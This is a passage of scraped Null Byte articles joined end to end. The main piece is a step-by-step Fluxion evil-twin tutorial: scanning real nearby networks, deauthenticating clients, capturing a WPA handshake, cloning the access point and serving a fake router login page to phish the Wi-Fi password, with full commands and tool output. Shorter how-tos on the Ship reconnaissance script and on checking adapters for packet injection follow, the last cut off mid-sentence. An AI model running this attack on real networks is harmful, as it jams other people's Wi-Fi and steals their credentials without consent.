Fluxion running on your Kali Linux system, clone the Git repository with:~# git clone https://github.com/wi-fi-analyzer/fluxion Cloning into 'fluxion'... remote: Enumerating objects: 2646, done. remote: Total 2646 (delta 0), reused 0 (delta 0), pack-reused 2646 Receiving objects: 100% (2646/2646), 26.14 MiB | 83.00 KiB/s, done. Resolving deltas: 100% (1433/1433), done.Check for missing dependencies by navigating to the folder, then list the contents to see what's in it.~# cd fluxion ~/fluxion# ls docs install lib logos siteinstaller.py fluxion.sh language locale README.md sitesNext, start it up for the first time with./fluxion.sh(if not root, usesudo ./fluxion.sh). You'll likely see the following, where some dependencies will be needed.~/fluxion# ./fluxion.sh [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] aircrack-ng.....OK! aireplay-ng.....OK! airmon-ng.......OK! airodump-ng.....OK! awk.............OK! curl............OK! dhcpd...........Not installed (isc-dhcp-server) hostapd.........OK! iwconfig........OK! lighttpd........Not installed macchanger......OK! mdk3............OK! nmap............OK! php-cgi.........Not installed pyrit...........OK! python..........OK! unzip...........OK! xterm...........OK! openssl.........OK! rfkill..........OK! strings.........OK! fuser...........OK!To fetch dependencies needed and set your board to green, install the missing ones from the list. In my case, it's dhcpd, lighttpd, and php-cgi.~/fluxion# apt install dhcpd lighttpd php-cgiFor dhcpd, if it installs udhcpd instead, run the following command to get the right one.~/fluxion# apt install isc-dhcp-serverAfter all the dependencies are met, the board is green, and you can proceed to the attack interface. Run the Fluxion command again with./fluxion.sh(orsudo ./fluxion.sh) to get hacking.~/fluxion# ./fluxion.sh [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [2] Select your language [1] English [2] German [3] Romanian [4] Turkish [5] Spanish [6] Chinese [7] Italian [8] Czech [9] Greek [10] French [11] Slovenian [deltaxflux@fluxion]-[~] 1Step 2: Scan Wi-Fi HotspotsThe first option is to select the language. Do so by typing the number next to the one you want and pressEnterto proceed to the interface selector. Here, you'll see all of your connected network interfaces. Choose the number next to the one that you want, in my case,1for wlan2.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] Select an interface [1] wlan2 Atheros AR9271 ath9k [2] wlan1 Ralink RT2870/3070 rt2800usb [3] wlan0 Atheros AR9565 ath9k [deltaxflux@fluxion]-[~] 1That will take you to the target identification stage. If the channel of the network you wish to attack is known, you may enter2to narrow the scan to the desired channel. Otherwise, select1to scan all channels.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [i] Select channel [1] All channels [2] Specific channel(s) [3] Back [deltaxflux@fluxion]-[~] 1AWiFi Monitorwindow will open while it occurs, so allow the scan to collect wireless data for at least 30 seconds. It's essential to let the attack run for at least 30 seconds to verify if a client is connected to the network. PressControl-Cor click the window's (x) to stop the capture process whenever you spot the wireless network that you want. After you do so, the window will close and the results will appear back in the terminal.Step 3: Choose Your Target APSelect a target with active clients for the attack to run on by entering the number next to it. Unless you intend to wait for a client to connect (possibly for a long time), the attack will not work on a network without any clients. Without anyone connected to the network, who would we trick into giving us the password?[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] WIFI LIST ID MAC CHAN SECU PWR ESSID [1] BC:F6:85:04:A9:98 9 WPA2 26% ACR North [2] 14:AB:F0:CC:6E:90 4 WPA2 30% cpc-office [3] B4:75:0E:B4:54:DO 1 WPA2 34% JadeMagnolia [4]* E8:AD:A6:55:31:9E 11 WPA 34% [5] E8:ED:05:7A:4D:70 6 WPA2 36% DG1670A72 [6] A4:2B:BO:E9:5B:6D 1 WPA2 34% MEDICO [7] 28:9E:FC:62:7A:E6 1 WPA2 37% MySpectrumWiFie0-2G [8] 84:A0:6E:C6:93:CE 1 WPA2 37% MyspectrumWiFic8-2G [9] 9C:A3:A9:62:7C:E4 14 WPA2 36% NVR9ca3a9627ce4 [10] AC:5D:10:4A:95:2A 11 WPA2 36% ATT304 [11] 8C:A2:FD:00:18:A5 6 WPA2 36% HungryCandy [12] BO:98:2B:4E:62:AE 1 WPA2 36% MySpectrumWiFia8-2G [13] A4:08:F5:70:79:8A 1 WPA2 36% MySpectrumWiFi84-2G [14] A0:39:EE:7E:63:DA 1 WPA2 36% MINDEOK-2G [15] 24:79:2A:93:50:38 7 WPA2 34% TWCWiFi-Passpoint [16] 24:79:2A:13:50:39 7 WPA2 34% SpectrumWiFi Plus [17] 8C:A2:FD:00:05:8E 6 WPA2 37% LavishBest [18] AC:EC:80:09:65:CO 1 WPA2 37% SHIN [19] 00:AC:E0:91:65:80 1 WPA2 39% SMQ 2.4 [20] 1A:91:82:8E:DF:FB 4 WPA2 38% [21] B2:52:16:21:47:E9 4 WPA2 38% DIRECT-6SMFC-L5700DW_BR47e9 [22] 10:05:31:32:BB:30 11 WPA2 39% GoGo Foot [23] EC:0E:C4:73:09:A7 1 WPA2 38% WIFI73C9A4 [24] 20:E5:2A:4D:A6:F2 1 WPA2 38% Netgear 100-2G [25] 98:6B:3D:DF:64:50 6 WPA2 40% Undefined [26] 8C:A2:FD:00:9C:AD 6 WPA2 39% Wittyslim [27] F4:6B:EF:30:0F:OE 1 WPA2 40% PT STOP [28] 38:3B:C8:02:59:66 4 WPA2 38% ATT386 [29] 8C:A2:FD:01:23:28 6 WPA2 40% Donna :) [30] FE:EC:DA:A4:06:40 6 WPA2 40% [31] 84:A0:6E:C2:0A:2E 1 WPA2 41% MyspectrumWiFi28-2G [32] 98:6B:3D:CA:45:70 9 WPA2 42% DG1670A72 [33] 14:91:82:8E:DF:FB 4 WPA2 40% FBISurveillanceTruck [34] AC:E2:03:10:75:8A 5 WPA2 42% DIRECT-89-HP Officejet Pro 6970 [35] OE:A2:FD:01:2B:28 6 WPA2 41% Donna :) _Guest [36] 34:6B:46:40:5A:5A 6 WPA2 42% MySpectrumWiFi54-2G [37] 50:33:8B:68:2D:74 1 WPA2 41% [38] 1C:B9:04:6B:6D:53 3 WPA2 42% island-2B6D50 [39] 8C:A2:FD:00:63:41 6 WPA2 43% Stevefi [40] F4:6B:EF:1E:AA:C6 1 WPA2 43% Happy777-2G [41] 1C:BO:44:CD:34:FO 5 WPA2 44% MySpectrumWiFif2-2G [42] AC:EC:80:A8:F6:FO 6 WPA2 44% TG1672GF2 [43]* 88:DC:96:55:72:00 1 WPA2 47% anchor [44] BO:6E:BF:DB:C1:B8 1 WPA2 45% claire [45] 90:1A:CA:6C:07:00 1 WPA2 47% piccadilly [46]* 40:20:09:2A:64.90 11 WPA2 46% spot 2.4 ghz [47] 60:19:71:EE:A9:20 11 WPA2 45% seoultaxservice [48] OC:EA:C9:77:83:00 11 WPA 46% [49] DO:17:02:B2:06:08 8 WPA2 48% ATI-Guest [50] 60:38:E0:89:F5:02 3 WPA2 47% thlee174 [51] 8C:FE:74:79:E3:73 9 WPA2 46% island-39E370 [52] 40:70:09:74:48:BO 6 WPA2 47% Envy [53] 28:9E:FC:62:5B:26 1 WPA2 48% MySpectrumWiFi20-2G [54] 94:91:7F:25:41:B1 5 WPA2 58% SSooniestyle [55] C4:01:7C:13:10:09 11 WPA2 60% TWCWiFi-Passpoint [56] CC:20:21:38:33:11 10 WPA2 36% DT TUTORING [57] AC:B3:13:07:42:70 11 WPA2 28% Vog Hair Salon-1 [58] 28:9E:FC:67:61:06 11 WPA2 40% MySpectrumWiF100-2G [59] DC:EF:09:CD:30:37 11 WPA2 36% fobdawg_EXT [60] AC:B3:13:7A:4A:90 11 WPA2 38% Gryffindor [61] C4:01:7C:53:10:08 11 WPA2 58% SpectrumWiFi Plus [62] 8C:A2:FD:01:34:46 6 WPA2 35% Chiefrutabaga [63] 8C:A2:FD:00:41:B3 6 WPA2 35% NNND_NET [64] CO:C1:CO:B6:F3:71 6 WPA2 39% SilverHorse [65] 24:F5:A2:2D:F8:09 6 WPA2 36% LALASHOP2.4 [66] 60:72:20:3D:B6:50 6 WPA2 39% MBC NEW MEDIA ROOM [67] 08:02:8E:BB:18:1B -1 WPA2 99% (*) Active clients Select target. For rescan type r [deltaxflux@fluxion]-[~] 46Step 4: Select Your AttackOnce you've typed the number of the target network, in my case,46, pressEnterto load the network profile into the attack selector. For demonstration purposes, I'll use option1to make a "FakeAP" usingHostapd. It will create a fake hotspot using the captured information to clone the target access point.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] INFO WIFI SSID = spot 2.4 ghz / WPA2 Channel = 11 Speed = 95 Mbps BSSID = 40:70:09:7A:64:90 (ARRIS Group, Inc. ) [2] Select Attack Option [1] FakeAP - Hostapd (Recommended) [2] FakeAP - airbase-ng (Slower connection) [3] Bruteforce - (Handshake is required) [4] Back [deltaxflux@fluxion]-[~] 1Step 5: Get a HandshakeTo verify that the password you receive works, you can check it against a captured handshake. If you have a handshake, you can enter it on the next screen. If not, we can pressEnterto force the network to provide a handshake in the next step.handshake location (Example: /root/fluxion.cap) Press ENTER to skip Path: [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [2] Handshake check [1] pyrit [2] aircrack-ng (Miss chance) [3] Back [deltaxflux@fluxion]-[~] 2The screen to check that handshake will appear as seen above. Using the Aircrack-ng method by selecting option2, Fluxion will send deauthentication packets to the target AP as the client and listen in on the resulting WPA handshake. But first, you need to choose who to deauth, which I'd recommend option3so you only deauth the target and not everyone.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [2] *Capture handshake* [1] Deauth all [2] Deauth all [mdk3] [3] Deauth target [4] Rescan networks [5] Exit [deltaxflux@fluxion]-[~] 3Two windows will pop up, one forCapturing data on channeland one forDeauthenticating client. In the first window, at the top, look out for the "WPA handshake" to appear. When you see it, as it does in the top right of the screenshot below, you have captured the handshake.Don't Miss:Cracking WEP Passwords with Aircrack-NgClose both of those windows. Back in the terminal, type1for "Check handshake," and hitEnterto load the handshake into your attack configuration.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [2] *Capture handshake* Status handshake: [1] Check handshake [2] Back [3] Select another network [4] Exit #> 1Now, create an SSL certificate, option1, so you can create a pop-up without causing alarm and preventing the browser from navigating to it.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] Certification invalid or not present, please choice [1] Create a SSL certificate [2] Search for SSl certificate [3] Exit #> 1Step 6: Create the Fake Login PageNow it's time to create the fake login page. Select option1for "Web Interface" to use the social engineering tool.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] INFO WIFI SSID = spot 2.4 ghz / WPA2 Channel = 11 Speed = 95 Mbps BSSID = 40:70:09:7A:64:90 (ARRIS Group, Inc. ) [2] Select your option [1] Web interface [2] Bruteforce [3] Exit #? 1You will be presented with a menu of different fake login pages you can offer to the user. These are customizable with some work but should match the device and language. The defaults should be tested before use, as some are not very convincing. I chose an English language Netgear attack, option27.Now for the final step to arm the attack. At this point, you are ready to fire, so pressEnterafter selecting your language option to launch the attack.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] INFO WIFI SSID = spot 2.4 ghz / WPA2 Channel = 11 Speed = 95 Mbps BSSID = 40:70:09:7A:64:90 (ARRIS Group, Inc. ) [2] Select Login Page [1] English [ENG] (NEUTRA) [2] German [GER] (NEUTRA) [3] Russian [RUS] (NEUTRA) [4] Italian [IT] (NEUTRA) [5] Spanish [ESP] (NEUTRA) [6] Portuguese [POR] (NEUTRA) [7] Chinese [CN] (NEUTRA) [8] French [FR] (NEUTRA) [9] Turkish [TR] (NEUTRA) [10] Romanian [RO] (NEUTRA) [11] Hungarian [HU] (NEUTRA) [12] Arabic [ARA] (NEUTRA) [13] Greek [GR] (NEUTRA) [14] Czech [CZ] (NEUTRA) [15] Norwegian [NO] (NEUTRA) [16] Bulgarian [BG] (NEUTRA) [17] Serbian [SRB] (NEUTRA) [18] Polish [PL] (NEUTRA) [19] Indonesian [ID] (NEUTRA) [20] Dutch [NL] [21] Danish [DAN] [22] Hebrew [HE] [23] Thai [TH] [24] Portuguese [BR] [25] Slovenian [SVN] [26] Belkin [ENG] [27] Netgear [ENG] [28] Huawei [ENG] [29] Verizon [ENG] [30] Netgear [ESP] [31] Arris [ESP] [32] Vodafone [ESP] [33] TP-Link [ENG] [34] Ziggo [NL] [35] KPN [NL] [36] Zigoo2016 [NL] [37] FRITZBOX_DE [DE] [38] FRITZBOX_ENG [ENG] [39] GENEXIS_DE [DE] [40] Login-Netgear [Login-Netgear] [41] Login-Xfinity [Login-Xfinity] [42] Telekom [43] Google [44] MOVISTAR [ESP] [45] Back #? 27 [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [i] Attack in Progress .. [1] Choose another network [2] Exit #>The attack spawns multiple windows to create a cloned version of their wireless network while simultaneously jamming the common access point, enticing the user to join the identically named, but unencrypted, network.Step 7: Capture the PasswordThe user is directed to a fake login page, which is either convincing or not, depending on which you chose.Perhaps not the most elegant deception, but these files are configurable.Entering the wrong password will fail the handshake verification, and the user is prompted to try again. Upon entering the correct password, Aircrack-ng verifies and saves the password to a text file while displaying it on the screen. The user is directed to a "thank you" screen as the jamming ceases and the fake access point shuts down.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [ ] [ FLUXION 2 < Fluxion Is The Future > ] [ ] [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [-] Cleaning and closing [-] Disabling monitoring interface mon0 [-] Disabling interface wlan1 [-] Disabling forwarding of packets [-] Cleaning iptables [-] Restoring tput [-] Delete files [-] Restarting Network-Manager [-] Cleanup performed successfully! [+] Thanks for using fluxionYou can verify your success by checking the readout of the Aircrack-ngWiFi Informationscreen.Congratulations, you've succeeded in obtaining and verifying a password, supplied by targeting the "wetware." You've tricked a user into entering the password rather than relying on a preexisting flaw with the security.Warning: This Technique Could Be Illegal Without PermissionLegally, Fluxion combines scanning, cloning, creating a fake AP, creating a phishing login screen, and using the Aircrack-ng script to obtain and crack WPA handshakes. As such, it leaves signatures in router logs consistent with using these techniques. Most of these practices are illegal and unwelcome on any system you don't have permission to audit.Don't Miss:How to Target Bluetooth Devices with BettercapWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Intercept Images from a Security Camera Using WiresharkHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow To:The Ultimate Guide to Hacking macOSHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterHow To:Spy on Traffic from a Smartphone with WiresharkVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Use MDK3 for Advanced Wi-Fi JammingHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3Android for Hackers:How to Exfiltrate WPA2 Wi-Fi Passwords Using Android & PowerShellHow To:Recover a Lost WiFi Password from Any DeviceAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)How To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi Chips
Linux Basics for the Aspiring Hacker: Using Ship for Quick & Handy IP Address Information « Null Byte :: WonderHowTo
Whether you're white hat, black hat, or some shade in-between, navigating through a network is a core part of hacking. To do that, we need to be able to explore a network to discover the addresses of gateways, interfaces, and other attached devices. Whenifconfigjust isn't enough, you can steer your way around a network with a convenient tool called Ship, the script for everything IP.What Is Ship?Created bySotirios Roussis, Ship is a portmanteau of "shell" and "IP" and it's literally a shell script that displays network addresses. However, that description doesn't really give it justice. Ship is a very handy tool. I like to think of it as a one-stop-shop for basic networkreconnaissanceand addressing.Ship can display everything from the gateway IP address to the IP and MAC addresses of all the active devices on a network. It can do simple things likepingandtraceroute, as well as more sophisticated things like listening in on ports and calculating binary and hex information about an IP. The command syntax in Ship is simple and straightforward, and I recommend it to everyone who finds themselves poking around Wi-Fi networks via terminal on a regular basis.Previously:Using Start-Up Scripts in LinuxStep 1: Downloading & Installing ShipIn this tutorial, I'm usingBlack Arch Linux, so the commands may be slightly different if you're using Kali or another Linux distribution.Depending on what repositories your package manager checks, you might be able to install Ship directly with a simpleapt-getor equivalent command. On my system, this wasn't the case, so I'm going to detail how to install Ship manually.Don't Miss:Basic IP Adressing (Networking Foundations)First, we need to install the appropriate dependencies. To do this, use the following command in Black Arch.pacman -S gawkgrepiproute2 mtr iputils sed traceroute wgetIf you're using a Debian-based system like Kali, this command should work the same if you replacepacman -Swithapt-get installandiputilswithiputils-ping.In my case, all of these packages were already installed, but it doesn't hurt to check. If you already have them installed like I did, the command will update them instead, which is always a good thing.After we install the dependencies, we need to clone the GitHub repository. I chose to do this in the root directory of my Linux system, so it will be downloaded into /root/ship. Use the following command in a terminal window to download Ship directly from GitHub.git clone --branch=master https://github.com/xtonousou/ship.gitThis will download the ship.sh shell file into /root/ship. As is, we won't be able to call Ship simply by typingshipinto the terminal. To do this, navigate to Ship's directory withcd/root/shipand then copy ship.sh and rename it toshipby typingcpship.sh shipinto a terminal window.This lets us typeshipinstead of having to typeship.sh. Then, to add it to the PATH variable everytime the terminal runs, by typing:echo 'export PATH=/root/ship:$PATH'>>~/.bashrcStep 2: Using Ship for Quick AddressingNow that we've installed Ship, let's browse some of its features. One of Ship's most handy uses is that it can quickly serve up the exact information about the network we need without displaying superfluous information. For instance, if all we want is to find just the name of the active network interface connected to our device, typeship -i.You can see in the picture below that my laptop's internal wireless adapter is called wlo1. If we also want that interface's IP address, typeship -4orship -6for IPv4 or IPv6 addresses, respectively. We can also find the internal (private) IP address of the network gateway by typingship -g.So far, this is all stuff we can easily access already withifconfigorip a, although for convenience, Ship will display this information more concisely. But let's move on to some cooler stuff Ship can do, like quickly displaying all the devices on the current subnet. Typeship -Horship -HM(to also display a device's corresponding MAC address) and you'll see a table of all active network hosts, like in the picture below.In addition, you can quickly see what your external IP address is by typingship -e. You can also use this same command with a URL to find the IP address associated with website by typingship -e url, with "url" replaced by the site you want the IP address of.Step 3: Port Listening with ShipShip can also show real-time information on all the external IP addresses you are connecting to on a specific port. By typingship -p portNumber, Ship will display a table of counts and IP addresses that updates every few seconds. In the screenshot below, I tested this on port 80, displaying all active port connections.All the IP addresses to the right are outgoing connections through port 80. We can see a connection to Google if we look up the last IP address (216.58.193.206) in a browser, as it redirects to Google.com.Step 4: Calculating IP InformationIf you need to convert an IP address into binary or hexadecimal, you can type theship -c addresscommand. This will also display a plethora of other information for you, including the subnet mask, the class of network associated with the address, and the maximum amount of hosts that network can support.I tried using this command with multiple different IP addresses of various classes. Ship labels whether the IP address belongs to a private network and whether it belongs to class A, B, C, D, or E.One thing to note is that you can use this command with CIDR notation. For instance, when I type10.1.1.1/16, it correctly calculates the network mask to be 255.255.0.0 and the max number of hosts to be 65,534, as opposed to the standard 255 in a normal class C 198.192.x.x/24 type network. This can tell us a lot about the purpose of the network we're examining.Ship Can Answer Network QuestionsIf you're new to networking or need to navigate through an uncharted network, Ship is like a compass to show you what's out there and how to get where you want to go. With a few simple commands, even a beginner can discover connected devices and quietly gather information about a network and the way it is administered. Ship makes it easy to find the network information you need for other commands, down to the driver being used by each network interface.Keep in mind, Ship organizes other tools that do the behind the scenes work. Some of these tools can leave logs in the router, firewall, or intrusion-detection system. While scanning generally isn't illegal, it's often seen as a preparation for an attack and can get you blocked from a well-defended network.If you have any questions, you can comment below or ask me on [email protected] Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image and screenshots by Black Slash/Null ByteRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:The Essential Skills to Becoming a Master HackerNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hacker Fundamentals:A Tale of Two StandardsHack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHow To:Tactical Nmap for Beginner Network ReconnaissanceHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a NetworkHow To:Enumerate NetBIOS Shares with NBTScan & Nmap Scripting EngineHack Like a Pro:Abusing DNS for ReconnaissanceHack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Create Packets from Scratch with Scapy for Scanning & DoSingHow To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)How To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)How To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Make a Change-of-IP Notifier in PythonHacker Fundamentals:A Gentle Introduction to How IP Addresses WorkGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Chain VPNs for Complete AnonymityHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Get Free Wi-Fi from Hotels & MoreCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Assign a Static IP Address in Windows 7How To:Hack Wireless Router Passwords & Networks Using HydraGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter
How to Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection « Null Byte :: WonderHowTo
Tohack a Wi-Fi network, you needyour wireless cardto support monitor mode and packet injection. Not all wireless cards can do this, but you can quickly test one you already own for compatibility, and you can verify that the chipset inside an adapter you're thinking of purchasing will work for Wi-Fi hacking.Wireless cards supporting monitor mode and packet injection enable an ethical hacker to listen in on other Wi-Fi conversations and even inject malicious packets into a network. The wireless cards in most laptops aren't very good at doing anything other than what's required to establish a basic Wi-Fi connection.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2018While some internal cards may offer some support for monitor mode, it's more common to find that your card isn't supported for tools included in Kali Linux. I found the card in a Lenovo laptop I use to support both, so sometimes it's possible to save by using your internal laptop card for practice when appropriate. If the internal one doesn't support the modes, an external one will be needed.External network adapters average between $15 and $40 per card. While this may not seem like much, making a mistake in purchasing a network adapter can add up quickly and be discouraging when first learning about Wi-Fi security.These devices may seem a little complicated at first, but they're pretty simple. Each wireless network adapter has a chip inside of it that contains its own CPU. This chip, along with the other circuitry in the adapter, translates signals from your computer into radio pulses called "packets," which transfer information between devices. Choosing a Wi-Fi adapter requires you to know about a few things, such as the chipset inside, the antenna in use, and the types of Wi-Fi that the card support.Jump to a Section:Check a Perspective Card|Test an Existing Card|Try an Attack Out to Make Sure It WorksOption 1: Check an Adapter's Chipset Before You BuyIf you haven't yet purchased the wireless network card you're considering, there are several ways you can check to see if it supports monitor mode and packet injection before committing to a purchase. Before we dive into those, however, you need to know the difference between manufacturers, so there's no confusion.Identifying the Card's SellerThe seller is, you guess it, the manufacturer selling the network adapter. Examples include TP-link, Panda Wireless, or Alfa. These manufacturers are responsible for the physical layout and design of the adapter but do not produce the actual CPU that goes inside the adapter.Identifying the Chip MakerThe second manufacturer is the one that makes the chip that powers the adapter. The chip is what controls the behavior of the card, which is why it's much more important to determine the chipset manufacturer than the adapter manufacturer. For example, Panda Wireless cards frequently use Ralink chipsets, which is the more critical piece of information to have.Determining the ChipsetCertain chipsets are known to work without much or any configuration needed for getting started, meaning that you can expect an adapter containing a particular supported chipset to be an easy choice.A good place to start when looking up the chipset of a wireless network adapter you're considering buying is Aircrack-ng's compatibility pages. Theolder "deprecated" versionstill contains a lot of useful information about the chipsets that will work with Aircrack-ng and other Wi-Fi hacking tools.Thenewer versionof the Aircrack-ng guide is also useful for explaining the way to check newer cards for 